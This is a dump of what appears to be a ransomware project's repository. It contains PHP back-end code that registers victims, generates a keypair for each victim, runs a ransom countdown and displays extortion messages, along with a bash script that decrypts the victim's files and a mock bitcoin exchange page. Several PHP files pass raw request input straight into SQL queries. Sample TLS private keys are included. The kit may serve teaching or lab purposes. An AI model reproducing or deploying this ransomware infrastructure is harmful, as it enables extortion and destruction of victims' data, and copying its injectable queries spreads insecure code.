├── images ├── hacked.jpg ├── hacker.jpg ├── bitcoin.png ├── HACKER_IMAGE_AUTHOR ├── HACKED_IMAGE_LICENSE ├── BITCOIN_IMAGE_LICENSE └── HACKER_IMAGE_LICENSE ├── screenshots ├── Exchanges.jpg ├── LoggedIn.jpg ├── TransID.jpg ├── infected.jpg ├── payment1.jpg ├── payment2.jpg ├── DecryptTime.jpg ├── EncryptTime.jpg ├── ExchangeLogin.jpg ├── INSTRUCTIONS_1.jpg ├── INSTRUCTIONS_2.jpg ├── admin_portal.jpg ├── decrypt_page.jpg ├── time_countdown.jpg ├── filename_decrypt.jpg ├── filename_encrypt.jpg ├── Decryption_After_Payment_1.jpg └── Decryption_After_Payment_2.jpg ├── sample_files ├── bash_ransomware_traffic_capture_http.pcap └── key.bin ├── sample_apache_conf ├── 000-default.conf ├── server.csr ├── server.crt ├── server.key ├── server.pass.key └── default-ssl.conf ├── count.php ├── pay_query.php ├── upload.php ├── time_query.php ├── exchange ├── register.php ├── login.php ├── exchange.php └── index.php ├── scripts └── JQUERY_LICENSE ├── admin_query.php ├── decrypto.sh ├── query.php ├── target.php ├── payment_info.php ├── admin.php ├── decrypt.php ├── INSTRUCTIONS.html ├── README.md ├── payment.php ├── crypto.sh └── LICENSE /images/hacked.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/images/hacked.jpg -------------------------------------------------------------------------------- /images/hacker.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/images/hacker.jpg -------------------------------------------------------------------------------- /images/bitcoin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/images/bitcoin.png -------------------------------------------------------------------------------- /screenshots/Exchanges.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/Exchanges.jpg -------------------------------------------------------------------------------- /screenshots/LoggedIn.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/LoggedIn.jpg -------------------------------------------------------------------------------- /screenshots/TransID.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/TransID.jpg -------------------------------------------------------------------------------- /screenshots/infected.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/infected.jpg -------------------------------------------------------------------------------- /screenshots/payment1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/payment1.jpg -------------------------------------------------------------------------------- /screenshots/payment2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/payment2.jpg -------------------------------------------------------------------------------- /screenshots/DecryptTime.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/DecryptTime.jpg -------------------------------------------------------------------------------- /screenshots/EncryptTime.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/EncryptTime.jpg -------------------------------------------------------------------------------- /screenshots/ExchangeLogin.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/ExchangeLogin.jpg -------------------------------------------------------------------------------- /screenshots/INSTRUCTIONS_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/INSTRUCTIONS_1.jpg -------------------------------------------------------------------------------- /screenshots/INSTRUCTIONS_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/INSTRUCTIONS_2.jpg -------------------------------------------------------------------------------- /screenshots/admin_portal.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/admin_portal.jpg -------------------------------------------------------------------------------- /screenshots/decrypt_page.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/decrypt_page.jpg -------------------------------------------------------------------------------- /screenshots/time_countdown.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/time_countdown.jpg -------------------------------------------------------------------------------- /screenshots/filename_decrypt.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/filename_decrypt.jpg -------------------------------------------------------------------------------- /screenshots/filename_encrypt.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/filename_encrypt.jpg -------------------------------------------------------------------------------- /screenshots/Decryption_After_Payment_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/Decryption_After_Payment_1.jpg -------------------------------------------------------------------------------- /screenshots/Decryption_After_Payment_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/Decryption_After_Payment_2.jpg -------------------------------------------------------------------------------- /sample_files/bash_ransomware_traffic_capture_http.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/sample_files/bash_ransomware_traffic_capture_http.pcap -------------------------------------------------------------------------------- /images/HACKER_IMAGE_AUTHOR: -------------------------------------------------------------------------------- 1 | AUTHOR SOURCE: www.elbpresse.de 2 | 3 | IMAGE SOURCE: https://commons.wikimedia.org/wiki/File:Hacker_-_Hacking_-_Symbol.jpg 4 | 5 | AUTHOR: Chs87 6 | -------------------------------------------------------------------------------- /sample_files/key.bin: -------------------------------------------------------------------------------- 1 | BlXnPGGhR0ZjLvmxzoP699RRQkSuJQzOM6P7w71w5K5P1h0b5ycRDPPx4JmTK7MOK3ozXs6l5VXioercagtkfvPgDXePCaspxA4ZItBAjMtu9MLQsJlb6t38GNhXgBWIr9F7cHITfhf60r4vL3Ba6L1c38xgH34YLGUiiEjsepYr8ONBDcU4w7y4R5jeW8TfGnxPF6R6wIbnYB8HANOia86QUsG8cekiifx8Dkcx4bylCUhQKYaEplNdtcSGg2n7 2 | -------------------------------------------------------------------------------- /images/HACKED_IMAGE_LICENSE: -------------------------------------------------------------------------------- 1 | Image Source: https://upload.wikimedia.org/wikipedia/commons/2/26/You_Have_Been_Hacked%21.jpg 2 | 3 | Image Source: https://en.wikipedia.org/wiki/File:You_Have_Been_Hacked!.jpg 4 | 5 | Image Source: www.inquisitr.com 6 | 7 | Image License: Public Domain 8 | -------------------------------------------------------------------------------- /sample_apache_conf/000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | ServerName localhost 3 | DocumentRoot /var/www/html/ 4 | Redirect permanent / https://192.168.1.132/ 5 | 6 | 7 | 8 | ServerName localhost 9 | DocumentRoot /var/www/html/ 10 | 11 | SSLEngine On 12 | SSLCertificateFile /etc/ssl/certs/server.crt 13 | SSLCertificateKeyFile /etc/ssl/certs/server.key 14 | 15 | 16 | Options FollowSymLinks 17 | AllowOverride None 18 | 19 | 20 | Options Indexes FollowSymLinks MultiViews 21 | AllowOverride None 22 | Order allow,deny 23 | allow from all 24 | 25 | 26 | -------------------------------------------------------------------------------- /count.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $fileCount = $_POST['fileCount']; 17 | $uniqueId = $_POST['uniqueId']; 18 | 19 | if (isset($uniqueId) && !empty($uniqueId)) { 20 | if ($fileCount > 0) { 21 | $sql = "UPDATE target_list SET file_count = $fileCount where unique_id = \"$uniqueId\""; 22 | 23 | if ($conn->query($sql) === TRUE) { 24 | echo "File Count Received"; 25 | } else { 26 | echo "Error: " . $sqlStmt . "
" . $conn->error; 27 | } 28 | } 29 | } else { 30 | echo "Please supply the file count!"; 31 | } 32 | 33 | $conn->close(); 34 | 35 | ?> 36 | -------------------------------------------------------------------------------- /pay_query.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $getTargetID = $_GET['unique_id']; 17 | 18 | $timestamp = time(); 19 | $dateTimestamp = new DateTime("@$timestamp"); 20 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 21 | 22 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) { 23 | $sql = "SELECT timediff(exp_time, \"$timestamp\") as time_left from target_list where unique_id = \"$getTargetID\""; 24 | $result = $conn->query($sql); 25 | 26 | if ($result->num_rows > 0) { 27 | while ($row = $result->fetch_assoc()) { 28 | echo ""; 29 | echo "$row[time_left]"; 30 | echo ""; 31 | } 32 | } 33 | } 34 | 35 | $conn->close(); 36 | 37 | ?> 38 | -------------------------------------------------------------------------------- /upload.php: -------------------------------------------------------------------------------- 1 | 0) { 16 | echo "Error: " . $_FILES['file']['error']; 17 | } else { 18 | move_uploaded_file($_FILES["file"]["tmp_name"], $uploadDir . $_FILES["file"]["name"]); 19 | 20 | if ($_FILES["file"]["name"] == "-") { 21 | if (isset($getFileInfo)) { 22 | rename($uploadDir . $_FILES["file"]["name"], $uploadDir . $getFileInfo); 23 | } 24 | } 25 | } 26 | 27 | } else { 28 | die("File not uploaded."); 29 | } 30 | } 31 | } 32 | } else { 33 | echo "Post - uploadFile not set"; 34 | } 35 | 36 | ?> 37 | -------------------------------------------------------------------------------- /time_query.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $getTargetID = $_GET['unique_id']; 17 | 18 | $timestamp = time(); 19 | $dateTimestamp = new DateTime("@$timestamp"); 20 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 21 | 22 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) { 23 | $sql = "SELECT timediff(paid_count, \"$timestamp\") as time_left from target_list where unique_id = \"$getTargetID\""; 24 | $result = $conn->query($sql); 25 | 26 | if ($result->num_rows > 0) { 27 | while ($row = $result->fetch_assoc()) { 28 | echo "
"; 29 | echo "

"; 30 | echo " "; 31 | echo " $row[time_left]"; 32 | echo " "; 33 | echo "

"; 34 | echo "
"; 35 | } 36 | } 37 | } 38 | 39 | $conn->close(); 40 | 41 | ?> 42 | -------------------------------------------------------------------------------- /exchange/register.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $user = $_POST["username"]; 17 | $passwd = $_POST["password"]; 18 | 19 | if (isset($user) && isset($passwd)) { 20 | $user = $conn->real_escape_string($user); 21 | $pass = $conn->real_escape_string($passwd); 22 | 23 | $ret = FALSE; 24 | $pwd = md5(sha1(md5($user . $pass))); 25 | 26 | $sql = "INSERT INTO users (username, password) VALUES(\"$user\", \"$pwd\")"; 27 | 28 | if ($conn->query($sql) === TRUE) { 29 | session_start(); 30 | 31 | $_SESSION['user'] = $user; 32 | $_SESSION['expireTime'] = time() + 600; 33 | 34 | header("Location: exchange.php"); 35 | } else { 36 | echo ""; 37 | header("Location: index.php"); 38 | } 39 | } 40 | 41 | $conn->close(); 42 | ?> 43 | -------------------------------------------------------------------------------- /exchange/login.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $user = $_POST["username"]; 17 | $passwd = $_POST["password"]; 18 | 19 | if (isset($user) && isset($passwd)) { 20 | $user = $conn->real_escape_string($user); 21 | $pass = $conn->real_escape_string($passwd); 22 | 23 | $ret = FALSE; 24 | $pwd = md5(sha1(md5($user . $pass))); 25 | 26 | $sql = "SELECT username FROM users WHERE username = \"$user\" AND password = \"$pwd\""; 27 | 28 | $result = $conn->query($sql); 29 | $row = $result->fetch_array(MYSQLI_ASSOC); 30 | 31 | if ($row['username'] == $user) { 32 | session_start(); 33 | 34 | $_SESSION['user'] = $user; 35 | $_SESSION['expireTime'] = time() + 600; 36 | 37 | header("Location: exchange.php"); 38 | } else { 39 | echo ""; 40 | header("Location: index.php"); 41 | } 42 | } else { 43 | header("Location: index.php"); 44 | } 45 | ?> 46 | -------------------------------------------------------------------------------- /scripts/JQUERY_LICENSE: -------------------------------------------------------------------------------- 1 | Copyright jQuery Foundation and other contributors, https://jquery.org/ 2 | 3 | This software consists of voluntary contributions made by many 4 | individuals. For exact contribution history, see the revision history 5 | available at https://github.com/jquery/jquery 6 | 7 | The following license applies to all parts of this software except as 8 | documented below: 9 | 10 | ==== 11 | 12 | Permission is hereby granted, free of charge, to any person obtaining 13 | a copy of this software and associated documentation files (the 14 | "Software"), to deal in the Software without restriction, including 15 | without limitation the rights to use, copy, modify, merge, publish, 16 | distribute, sublicense, and/or sell copies of the Software, and to 17 | permit persons to whom the Software is furnished to do so, subject to 18 | the following conditions: 19 | 20 | The above copyright notice and this permission notice shall be 21 | included in all copies or substantial portions of the Software. 22 | 23 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 24 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 25 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 26 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 27 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 28 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 29 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 30 | 31 | ==== 32 | 33 | All files located in the node_modules and external directories are 34 | externally maintained libraries used by this software which have their 35 | own licenses; we recommend you read them, as their terms may differ from 36 | the terms above. 37 | -------------------------------------------------------------------------------- /admin_query.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $timestamp = time(); 17 | $dateTimestamp = new DateTime("@$timestamp"); 18 | 19 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 20 | 21 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) { 22 | $uniqueID = $_GET['unique_id']; 23 | 24 | $sql = "SELECT timediff(exp_time, \"$timestamp\") as time_left from target_list where unique_id = \"$uniqueID\""; 25 | $result = $conn->query($sql); 26 | 27 | if ($result->num_rows > 0) { 28 | while ($row = $result->fetch_assoc()) { 29 | if ($row['time_left'] < "00:00:01") { 30 | $sql1 = "UPDATE target_list SET time_expired=1 where unique_id = \"$_GET[unique_id]\""; 31 | $result1 = $conn->query($sql1); 32 | 33 | if ($result1->num_rows >= 0) { 34 | echo ""; 35 | echo "Expired!"; 36 | echo ""; 37 | } else { 38 | echo ""; 39 | echo "$row[time_left]"; 40 | echo ""; 41 | } 42 | } else { 43 | echo ""; 44 | echo "$row[time_left]"; 45 | echo ""; 46 | } 47 | } 48 | } else { 49 | echo "
Could not determine the time left!
"; 50 | } 51 | } 52 | 53 | $conn->close(); 54 | 55 | ?> 56 | -------------------------------------------------------------------------------- /sample_apache_conf/server.csr: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE REQUEST----- 2 | MIIE7zCCAtcCAQAwgakxCzAJBgNVBAYTAkdCMRIwEAYDVQQIDAlJbnRlcndlYnMx 3 | EjAQBgNVBAcMCVNhZmVIYXZlbjEWMBQGA1UECgwNQmFzaENyeXB0djEuMDESMBAG 4 | A1UECwwJQmFzaENyeXB0MRIwEAYDVQQDDAlCYXNoQ3J5cHQxMjAwBgkqhkiG9w0B 5 | CQEWI2Jhc2hjcnlwdEBlbmNyeXB0aW5nX3lvdXJfZmlsZXMuY29tMIICIjANBgkq 6 | hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxwhzlx4J1hhkW3CDvIdXATlSypri2CL 7 | tgkQc9jCkYcFc8c9P/GlvPojdehpl+Z4UaRhT5sJoFcNWBU27RJVQvbmTxRKFlZ9 8 | NELIC4z+KuvI6te/4okglXX2ibIzBsSnMi2p2xQAPJSWqXfM724Uy7iwJDD8t+E0 9 | iIT4p/nBlBUovl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JqiCMdrm6YyuvTCz5AP7MNakg/3W32Wn97ARRe1OrEShpnrs2kI61M6oLq 26 | SU4dTcGAzq5zbrlNJgcrKIr2inPWvz1DrCxn1wQby7I50zQy3mIJZfWr7RdEQLDu 27 | ZnrUoEksu81UGNNp0TfSO1s5CV2xcpK9SJNxeLfybZEYYI9/iFdGvyvvj4x7n/HS 28 | wb0KUiy3hvS50rqzxyQ4F1ppaQ== 29 | -----END CERTIFICATE REQUEST----- 30 | -------------------------------------------------------------------------------- /decrypto.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Check if the Private key is in /root 4 | if [ ! -f /root/priv.pem ] 5 | then 6 | echo -e "Please ensure that the private key is in the root directory (priv.pem)\n" 7 | exit 1 8 | fi 9 | 10 | # Set the permissions on /root/priv.pem 11 | chmod 755 /root/priv.pem 12 | 13 | # Correct the Private Key Heading/Footer 14 | sed -i 's/-----BEGIN PRIVATE KEY-----/-----BEGIN RSA PRIVATE KEY-----/g' /root/priv.pem 15 | sed -i 's/-----END PRIVATE KEY-----/-----END RSA PRIVATE KEY-----/g' /root/priv.pem 16 | 17 | # Decrypt the Key file with the Private key 18 | openssl rsautl -decrypt -inkey /root/priv.pem -in /root/key.bin.enc -out /root/key.bin 19 | 20 | # Decrypt the File Mapping file 21 | openssl enc -aes-256-cbc -d -in "/root/..file_mapping.db.owned" -out "/root/..file_mapping.db" -pass file:/root/key.bin 22 | 23 | # Get the Mapping Values, then decrypt and set the original permissions 24 | for file in $(< /root/..file_mapping.db) 25 | do 26 | filePerms=$(echo "${file}" | awk -F"," '{ print $3 }') 27 | encFile=$(echo "${file}" | awk -F"," '{ print $2 }') 28 | origFile=$(echo "${file}" | awk -F"," '{ print $1 }') 29 | 30 | openssl enc -aes-256-cbc -d -in "${encFile}" -out "${origFile}" -pass file:/root/key.bin 31 | 32 | if [ "${filePerms}" == "" ] 33 | then 34 | filePerms="777" 35 | 36 | chmod "${filePerms}" "${origFile}" 37 | else 38 | chmod "${filePerms}" "${origFile}" 39 | fi 40 | 41 | rm -rf "${encFile}" 42 | done 43 | 44 | # Remove the Instruction Documents 45 | for directory in /root/ /home/ /etc/ /bin/ /usr/sbin/ /usr/bin /sbin/ /usr/local/bin/ 46 | do 47 | rm -rf "${directory}/INSTRUCTIONS.txt" 48 | rm -rf "${directory}/INSTRUCTIONS.hmtl" 49 | done 50 | 51 | crontab -r 52 | rm -rf /etc/cron.hourly/instructions.sh 53 | rm -rf /etc/cron.hourly/backup.sh 54 | rm -rf /root/..file_mapping.db /root/..file_mapping.db.owned 55 | rm -rf /root/key.bin /root/key.bin.enc /root/priv.pem /root/pub.pem /root/crypto.sh 56 | -------------------------------------------------------------------------------- /sample_apache_conf/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIF0DCCA7gCCQC506ZtsL1stDANBgkqhkiG9w0BAQsFADCBqTELMAkGA1UEBhMC 3 | R0IxEjAQBgNVBAgMCUludGVyd2ViczESMBAGA1UEBwwJU2FmZUhhdmVuMRYwFAYD 4 | VQQKDA1CYXNoQ3J5cHR2MS4wMRIwEAYDVQQLDAlCYXNoQ3J5cHQxEjAQBgNVBAMM 5 | CUJhc2hDcnlwdDEyMDAGCSqGSIb3DQEJARYjYmFzaGNyeXB0QGVuY3J5cHRpbmdf 6 | eW91cl9maWxlcy5jb20wHhcNMTUxMDExMTQzNzE2WhcNMjYxMjI4MTQzNzE2WjCB 7 | qTELMAkGA1UEBhMCR0IxEjAQBgNVBAgMCUludGVyd2ViczESMBAGA1UEBwwJU2Fm 8 | ZUhhdmVuMRYwFAYDVQQKDA1CYXNoQ3J5cHR2MS4wMRIwEAYDVQQLDAlCYXNoQ3J5 9 | cHQxEjAQBgNVBAMMCUJhc2hDcnlwdDEyMDAGCSqGSIb3DQEJARYjYmFzaGNyeXB0 10 | QGVuY3J5cHRpbmdfeW91cl9maWxlcy5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4IC 11 | DwAwggIKAoICAQC/HCHOXH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GPaHpX7nsK53KmjD0HmhQRwfsVOg0tcvyV0tVIrMqXq2gqoQ+YFDo8hwvtF3UD 28 | c8fDPqxiZs0hZ51ouwKr1E1x4Uo5ONK18jyHcay6nM4AHgS8wvnzxrn9x94xeAl8 29 | F73dnQgbjcMkb9qpOfJlRCU261zA3Y1klnE3d+yu1Tewyp5WEIR+mMRGE2Aqiq7R 30 | 9N01NrZ1B9BlQUX2EPjxAfhTKDdXl/cisAAo9ZCBpVlGlfwnwaNXtTgwAZDkQ/3l 31 | wzAGHanguktBCjkiAFxtWZHn6Q3/tETj4n5dgPeo9qjxbSh/IvMLucs25IpO0IMX 32 | JFnX+OXWp71kfXQ7IHE4IRsWzFdpEfG2WkCn8wRmXtMrSToMp/Yi3471ts5h1A/k 33 | XKtKcA== 34 | -----END CERTIFICATE----- 35 | -------------------------------------------------------------------------------- /query.php: -------------------------------------------------------------------------------- 1 | connect_error) { 13 | die("Connection failed: " . $conn->connect_error); 14 | } 15 | 16 | $timestamp = time(); 17 | $dateTimestamp = new DateTime("@$timestamp"); 18 | 19 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 20 | 21 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) { 22 | $uniqueID = $_GET['unique_id']; 23 | 24 | $sql = "SELECT timediff(exp_time, \"$timestamp\") as time_left from target_list where unique_id = \"$uniqueID\""; 25 | $result = $conn->query($sql); 26 | 27 | if ($result->num_rows > 0) { 28 | while ($row = $result->fetch_assoc()) { 29 | if ($row['time_left'] < "00:00:01") { 30 | $sql1 = "UPDATE target_list SET time_expired=\"1\" where unique_id = \"$uniqueID\""; 31 | $result1 = $conn->query($sql1); 32 | 33 | if ($result1->num_rows >= 0) { 34 | echo "
"; 35 | echo ""; 36 | echo "

Time expired, your associated private key has been deleted and your files forever lost!

"; 37 | echo "


"; 38 | echo "

Alas, we have a back up key that can be used to decrypt your files; however, the payment has now increased. Please see the payment page for instructions.

"; 39 | echo "
"; 40 | echo ""; 41 | echo "
"; 42 | } 43 | } else { 44 | echo "
"; 45 | echo "

Time Remaining for $uniqueID: " . $row['time_left'] . "



"; 46 | echo ""; 47 | echo "
"; 48 | } 49 | } 50 | } else { 51 | echo "
Could not determine the time left!
"; 52 | } 53 | } 54 | 55 | $conn->close(); 56 | 57 | ?> 58 | -------------------------------------------------------------------------------- /target.php: -------------------------------------------------------------------------------- 1 | connect_error) { 12 | die("Connection failed: " . $conn->connect_error); 13 | } 14 | 15 | function genKeys($targetID) { 16 | // Adapted from http://goo.gl/7MqUYh 17 | 18 | $config = array( 19 | "digest_alg" => "sha512", 20 | "private_key_bits" => 4096, 21 | "private_key_type" => OPENSSL_KEYTYPE_RSA, 22 | ); 23 | 24 | // Create the keypair 25 | $genKey = openssl_pkey_new($config); 26 | 27 | // Get private key 28 | openssl_pkey_export($genKey, $privKey); 29 | 30 | // Get public key 31 | $pubKey = openssl_pkey_get_details($genKey); 32 | $pubKey = $pubKey["key"]; 33 | 34 | //openssl_pkey_export_to_file($privKey, "/var/www/html/downloads/" . $targetID . "_priv.pem"); 35 | $setPrivKey = fopen("/var/www/html/downloads/" . $targetID . "_priv.pem", "w") or die("Unable to open file!"); 36 | fwrite($setPrivKey, $privKey); 37 | fclose($setPrivKey); 38 | 39 | $setPubKey = fopen("/var/www/html/downloads/" . $targetID . "_pub.pem", "w") or die("Unable to open file!"); 40 | fwrite($setPubKey, $pubKey); 41 | fclose($setPubKey); 42 | } 43 | 44 | $getTargetID = $_POST['uniqueID']; 45 | $getTargetIP = $_SERVER['REMOTE_ADDR']; 46 | 47 | $expTime = time() + (2 * 24 * 60 * 60); 48 | $currTime = time(); 49 | 50 | $dateExpTime = new DateTime("@$expTime"); 51 | $dateCurrTime = new DateTime("@$currTime"); 52 | 53 | $expTime = $dateExpTime->format('Y-m-d H:i:s'); 54 | $currTime = $dateCurrTime->format('Y-m-d H:i:s'); 55 | 56 | if (isset($_POST['uniqueID']) && !empty($_POST['uniqueID'])) { 57 | $sqlStmt = "INSERT INTO target_list (unique_id, target_ip, curr_time, exp_time, time_expired, paid) VALUES (\"$getTargetID\", \"$getTargetIP\", \"$currTime\", \"$expTime\", \"FALSE\", \"FALSE\")"; 58 | 59 | if ($conn->query($sqlStmt) === TRUE) { 60 | //echo "Target Acquired"; 61 | //exec("openssl genrsa -out /tmp/$getTargetID.priv.pem 4096"); 62 | //exec("openssl rsa -pubout -in /tmp/$getTargetID.priv.pem -out /var/www/html/downloads/$getTargetID.pub.pem"); 63 | //exec("cat /dev/urandom | tr -cd 'A-Za-z0-9' | fold -w 4096 | head -n 1 > /var/www/html/downloads/$getTargetID.key.bin"); 64 | genKeys($getTargetID); 65 | } else { 66 | echo "Error: " . $sqlStmt . "
" . $conn->error; 67 | } 68 | } else { 69 | echo "Please supply the unique_id!"; 70 | } 71 | 72 | $conn->close(); 73 | 74 | ?> 75 | -------------------------------------------------------------------------------- /exchange/exchange.php: -------------------------------------------------------------------------------- 1 | connect_error) { 14 | die("Connection failed: " . $conn->connect_error); 15 | } 16 | 17 | $bitcoinVal = 1; 18 | setcookie('bitcoins', $bitcoinVal); 19 | 20 | if (!isset($_SESSION)) { 21 | header("Location: index.php"); 22 | } else { 23 | if (isset($_COOKIE['bitcoins'])) { 24 | $bitVal = $_COOKIE['bitcoins']; 25 | 26 | if ($bitVal > 5) { 27 | $transId = md5($bitVal) . md5("m4dh4tz"); 28 | 29 | echo ""; 30 | } 31 | } 32 | } 33 | ?> 34 | 35 | 36 | 37 | M4dH4t'z Bitcoin Exchange 38 | 39 | 40 |
41 | 42 | 43 | 46 | 47 |
44 |

Welcome to M4dH4t'z Bitcoin Exchange

45 |
48 |

49 | 50 | 51 | 54 | 55 | 56 | 63 | 64 |
52 | Welcome, , You have Bitcoin 53 |
57 |

58 | In order to obtain a transaction id, you need at least 5 BTC. 59 | 62 |
65 | 82 |
83 | 84 | 85 | -------------------------------------------------------------------------------- /exchange/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | M4dH4t'z Bitcoin Exchange 4 | 5 | 6 | connect_error) { 18 | die("Connection failed: " . $conn->connect_error); 19 | } 20 | ?> 21 | 22 | 23 |
24 | 25 | 26 | 29 | 30 |
27 |

Welcome to M4dH4t'z Bitcoin Exchange

28 |
31 |

32 |
33 | 34 | 35 | 38 | 39 | 40 | 43 | 44 | 45 | 48 | 49 | 50 | 53 | 54 |
36 | Existing User? 37 |
41 | Username: 42 |
46 | Password: 47 |
51 | 52 |
55 |
56 |

57 |
58 | 59 | 60 | 63 | 72 | 73 | 74 | 77 | 78 | 79 | 82 | 83 | 84 | 87 | 88 |
61 | Register 62 |
75 | Username: 76 |
80 | Password: 81 |
85 | 86 |
89 |
90 |
91 | 92 | 93 | 94 | close(); 96 | ?> 97 | -------------------------------------------------------------------------------- /payment_info.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Payment Confirmation 5 | 6 | 7 | 8 | connect_error) { 20 | die("Connection failed: " . $conn->connect_error); 21 | } 22 | 23 | $timestamp = time(); 24 | $dateTimestamp = new DateTime("@$timestamp"); 25 | 26 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 27 | 28 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) { 29 | $uniqueID = $_GET['unique_id']; 30 | $sql = "SELECT timediff(paid_count, \"$timestamp\") as time_left from target_list where unique_id = \"$uniqueID\""; 31 | $result = $conn->query($sql); 32 | 33 | if ($result->num_rows > 0) { 34 | while ($row = $result->fetch_assoc()) { 35 | if ($row['time_left'] < "00:00:01") { 36 | echo "" . "\n"; 43 | } else { 44 | echo "" . "\n"; 53 | } 54 | } 55 | } 56 | } 57 | 58 | $conn->close(); 59 | 60 | ?> 61 | 62 |
63 | 64 | 65 | 76 | 77 | 78 | 81 | 82 |
66 |

67 | 68 |
69 | Time Remaining Until Decryption Possible: 70 |
71 |
72 |

73 |
74 |

75 |
79 |
80 |
83 |
84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /sample_apache_conf/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA P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 49 | Y2hLHFEJMn2BEScbn67meUfjo70ykxWkNTJVuj9U3qbGYJO0KXWBbogoca3DyT97 50 | G8TwCHoDqWL1vbMvz6TnO4c+Hgb9zNK2PBzCBA3dxW9xK5vOu6SiBjtV2g== 51 | -----END RSA PRIVATE KEY----- 52 | -------------------------------------------------------------------------------- /sample_apache_conf/server.pass.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | Proc-Type: 4,ENCRYPTED 3 | DEK-Info: DES-EDE3-CBC,4EB6015AC5A330DC 4 | 5 | oITrqbC0QUJr8UlGsqj9oPQDWyEH6enmI0rdJLAgIsswNAcn5BPZ1n1rbEvezQsS 6 | /68Xzx9OFWPgjpCr3iP1RseEONOrxuOli5BG0rqTOGuBKUG41uCJjlIH4eF8GDNO 7 | VHrz+3SLN7bTGwf/xqmPv+zRNrVUMzRjEA/EDZ2rFeSGJNYmlK7PxwkMvLN1nnpN 8 | EqNGLEEiqVlurHjlqFLU8/lvK/I7SgVptXZr3v9GZ3+TgTgOlizgm1lTGt5wbRha 9 | 39Ar2tLIQo/99hawIeDcANZxeA0Fa19bqsEI+9jz8VAeLpRpXKKgh8zHF67alhzw 10 | 